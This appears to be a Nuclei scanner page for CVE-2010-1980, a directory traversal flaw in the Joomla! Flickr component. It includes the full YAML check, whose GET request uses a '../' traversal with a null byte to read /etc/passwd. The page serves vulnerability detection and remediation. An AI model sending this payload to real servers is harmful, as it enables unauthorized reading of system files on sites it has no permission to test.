Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion

highseverity

7.5CVSS score

18.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in joomlaflickr.php in the Joomla! Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1980 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1980

info:
  name: Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in joomlaflickr.php in the Joomla! Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12085
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1980
    - http://packetstormsecurity.org/1004-exploits/joomlaflickr-lfi.txt
    - http://www.exploit-db.com/exploits/12085
    - http://bitbucket.org/roberto.aloi/joomla-flickr/changeset/64ebf6b25030
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1980
    cwe-id: CWE-22
    epss-score: 0.18835
    epss-percentile: 0.97309
    cpe: cpe:2.3:a:roberto_aloi:com_joomlaflickr:1.0.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: roberto_aloi
    product: com_joomlaflickr
  tags: cve2010,cve,lfi,edb,packetstorm,joomla,roberto_aloi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_joomlaflickr&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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